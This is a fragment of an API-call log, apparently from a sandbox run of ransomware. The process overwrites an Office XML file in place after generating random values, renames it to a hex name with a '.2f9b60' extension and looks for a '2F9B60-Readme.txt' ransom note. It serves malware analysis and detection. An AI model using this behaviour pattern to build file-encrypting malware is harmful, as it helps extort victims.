RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c260 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0148.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bd10 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0148.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0148.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0148.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0148.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1b7d9a50 [0148.036] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.036] WriteFile (hFile=0x1748, lpBuffer=0x1b7d9a50, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3ea8fb90, lpOverlapped=0x0) [0206.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0206.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8c0 [0206.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8c0) returned 1 [0206.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9eaf0 [0206.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8c0 [0206.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa980 [0206.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa980) returned 1 [0206.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0206.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b85f190 [0206.855] sprintf (in: _Dest=0x1b85f190, _Format="%c%c" | out: _Dest="35") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f192, _Format="%c%c" | out: _Dest="85") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f194, _Format="%c%c" | out: _Dest="84") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f196, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f198, _Format="%c%c" | out: _Dest="73") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f19a, _Format="%c%c" | out: _Dest="35") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f19c, _Format="%c%c" | out: _Dest="af") returned 2 [0206.855] sprintf (in: _Dest=0x1b85f19e, _Format="%c%c" | out: _Dest="0c") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1a0, _Format="%c%c" | out: _Dest="94") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1a2, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1a4, _Format="%c%c" | out: _Dest="22") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1a6, _Format="%c%c" | out: _Dest="f1") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1a8, _Format="%c%c" | out: _Dest="43") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1aa, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1ac, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1ae, _Format="%c%c" | out: _Dest="5e") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1b0, _Format="%c%c" | out: _Dest="d3") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1b2, _Format="%c%c" | out: _Dest="4c") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1b4, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1b6, _Format="%c%c" | out: _Dest="27") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1b8, _Format="%c%c" | out: _Dest="29") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1ba, _Format="%c%c" | out: _Dest="2a") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1bc, _Format="%c%c" | out: _Dest="3e") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1be, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1c0, _Format="%c%c" | out: _Dest="76") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1c2, _Format="%c%c" | out: _Dest="9a") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1c4, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1c6, _Format="%c%c" | out: _Dest="e8") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1c8, _Format="%c%c" | out: _Dest="ec") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1ca, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1cc, _Format="%c%c" | out: _Dest="46") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1ce, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1d0, _Format="%c%c" | out: _Dest="27") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1d2, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1d4, _Format="%c%c" | out: _Dest="75") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1d6, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1d8, _Format="%c%c" | out: _Dest="26") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1da, _Format="%c%c" | out: _Dest="37") returned 2 [0206.856] sprintf (in: _Dest=0x1b85f1dc, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1de, _Format="%c%c" | out: _Dest="df") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1e0, _Format="%c%c" | out: _Dest="61") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1e2, _Format="%c%c" | out: _Dest="97") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1e4, _Format="%c%c" | out: _Dest="ad") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1e6, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1e8, _Format="%c%c" | out: _Dest="2f") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1ea, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1ec, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1ee, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1f0, _Format="%c%c" | out: _Dest="17") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1f2, _Format="%c%c" | out: _Dest="41") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1f4, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.857] sprintf (in: _Dest=0x1b85f1f6, _Format="%c%c" | out: _Dest="63") returned 2 [0206.857] RtlInitAnsiString (in: DestinationString=0x3ea8fc08, SourceString="3585840d7335af0c94f022f143f6f65ed34c4e27292a3e4a769a3ce8ecb846c8274e75f426375fdf6197ad2c2f2eebdc1741f463" | out: DestinationString="3585840d7335af0c94f022f143f6f65ed34c4e27292a3e4a769a3ce8ecb846c8274e75f426375fdf6197ad2c2f2eebdc1741f463") [0206.857] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ea8fbd8, SourceString="3585840d7335af0c94f022f143f6f65ed34c4e27292a3e4a769a3ce8ecb846c8274e75f426375fdf6197ad2c2f2eebdc1741f463", AllocateDestinationString=1 | out: DestinationString="3585840d7335af0c94f022f143f6f65ed34c4e27292a3e4a769a3ce8ecb846c8274e75f426375fdf6197ad2c2f2eebdc1741f463") returned 0x0 [0206.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43157280 [0206.857] wcscat (in: _Dest=0x4314eeb0, _Source="3585840d7335af0c94f022f143" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143" [0206.857] wcscat (in: _Dest=0x4314eeb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143.2f9b60" [0206.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143.2f9b60", NtPathName=0x3ea8fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\3585840d7335af0c94f022f143.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310aa60 Thread: id = 1397 os_tid = 0x1828 [0119.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml")) returned 0x20 [0119.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML", dwFileAttributes=0x20) returned 1 [0119.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1714 [0119.458] GetFileSizeEx (in: hFile=0x1714, lpFileSize=0x1c94fc80 | out: lpFileSize=0x1c94fc80*=6069) returned 1 [0119.458] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x17b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.458] ReadFile (in: hFile=0x1714, lpBuffer=0x1c94fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c94fc48, lpOverlapped=0x0 | out: lpBuffer=0x1c94fc00*, lpNumberOfBytesRead=0x1c94fc48*=0x4, lpOverlapped=0x0) returned 1 [0119.473] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0119.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ab0 [0119.474] NtQuerySystemTime (in: CurrentTime=0x1c94fb40 | out: CurrentTime=0x1c94fb40*=132462177248854000) returned 0x0 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x7a112b8e [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x302388be [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x5db4dfab [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0xeb2f700 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x5aea98bb [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x32a49dd0 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x3b1b4cd7 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x7b30457d [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x3553dcf2 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x42febebc [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x1d6215be [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x4601fc3c [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x406f39c9 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x45359ecc [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x4f0bb4bc [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x6e81fab0 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x5b8ae275 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x6f1a7863 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x7e771221 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x41b270a7 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x1123c5b5 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x34d50b00 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x4999f209 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x63cff7c8 [0119.474] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0xfb09eb4 [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x674b3bde [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x60952628 [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0xad0c2b4 [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x1656303e [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x2c9a29c3 [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x2f407b3c [0119.475] RtlRandomEx (in: Seed=0x1c94fb30 | out: Seed=0x1c94fb30) returned 0x70f7c0d6 [0119.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0119.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ab0) returned 1 [0119.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201b4e0 [0119.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201f0f0 [0119.490] ReadFile (in: hFile=0x1714, lpBuffer=0x4201b4e0, nNumberOfBytesToRead=0x17b5, lpNumberOfBytesRead=0x1c94fb30, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesRead=0x1c94fb30*=0x17b5, lpOverlapped=0x0) returned 1 [0119.493] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.494] WriteFile (in: hFile=0x1714, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x17b5, lpNumberOfBytesWritten=0x1c94fb34, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesWritten=0x1c94fb34*=0x17b5, lpOverlapped=0x0) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0119.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0119.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0119.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201b4e0) returned 1 [0119.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860ba0 [0119.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cc0 [0119.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cc0) returned 1 [0119.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860cc0 [0119.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0119.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a80) returned 1 [0119.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168000 [0119.510] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0119.510] WriteFile (in: hFile=0x1714, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1c94fc50, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x1c94fc50*=0x10a, lpOverlapped=0x0) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a20 [0119.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a20) returned 1 [0119.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7e80 [0119.531] sprintf (in: _Dest=0x1b7d7e80, _Format="%c%c" | out: _Dest="68") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e82, _Format="%c%c" | out: _Dest="85") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e84, _Format="%c%c" | out: _Dest="96") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e86, _Format="%c%c" | out: _Dest="d4") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e88, _Format="%c%c" | out: _Dest="03") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e8a, _Format="%c%c" | out: _Dest="fd") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e8c, _Format="%c%c" | out: _Dest="8a") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e8e, _Format="%c%c" | out: _Dest="86") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e90, _Format="%c%c" | out: _Dest="ee") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e92, _Format="%c%c" | out: _Dest="98") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e94, _Format="%c%c" | out: _Dest="cc") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e96, _Format="%c%c" | out: _Dest="2a") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e98, _Format="%c%c" | out: _Dest="74") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e9a, _Format="%c%c" | out: _Dest="00") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e9c, _Format="%c%c" | out: _Dest="69") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7e9e, _Format="%c%c" | out: _Dest="00") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7ea0, _Format="%c%c" | out: _Dest="9b") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7ea2, _Format="%c%c" | out: _Dest="66") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7ea4, _Format="%c%c" | out: _Dest="9f") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7ea6, _Format="%c%c" | out: _Dest="3c") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7ea8, _Format="%c%c" | out: _Dest="8a") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7eaa, _Format="%c%c" | out: _Dest="2e") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7eac, _Format="%c%c" | out: _Dest="c7") returned 2 [0119.531] sprintf (in: _Dest=0x1b7d7eae, _Format="%c%c" | out: _Dest="a1") returned 2 [0119.532] RtlInitAnsiString (in: DestinationString=0x1c94fcc8, SourceString="688596d403fd8a86ee98cc2a740069009b669f3c8a2ec7a1" | out: DestinationString="688596d403fd8a86ee98cc2a740069009b669f3c8a2ec7a1") [0119.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c94fc98, SourceString="688596d403fd8a86ee98cc2a740069009b669f3c8a2ec7a1", AllocateDestinationString=1 | out: DestinationString="688596d403fd8a86ee98cc2a740069009b669f3c8a2ec7a1") returned 0x0 [0119.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e800 [0119.532] RtlFreeAnsiString (AnsiString="6") [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cc0) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0119.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0119.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202afa00 [0119.533] wcscat (in: _Dest=0x202afa00, _Source="688596d403fd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd" [0119.533] wcscat (in: _Dest=0x202afa00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd.2f9b60" [0119.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd.2f9b60", NtPathName=0x1c94fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\688596d403fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac160 [0119.533] NtSetInformationFile (FileHandle=0x1714, IoStatusBlock=0x1c94fd10, FileInformation=0x202ac160, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0119.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 [0119.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0119.535] NtQueryInformationFile (in: FileHandle=0x1714, IoStatusBlock=0x1c94fcd8, FileInformation=0x1c94fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c94fcd8, FileInformation=0x1c94fce8) returned 0x0 [0119.535] NtSetInformationFile (FileHandle=0x1714, IoStatusBlock=0x1c94fcd8, FileInformation=0x1c94fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0119.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0119.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0119.536] FlushFileBuffers (hFile=0x1714) returned 1 [0119.942] CloseHandle (hObject=0x1714) returned 1 [0122.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050b460 [0122.137] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0122.137] wcscat (in: _Dest=0x2050b460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0122.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0122.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 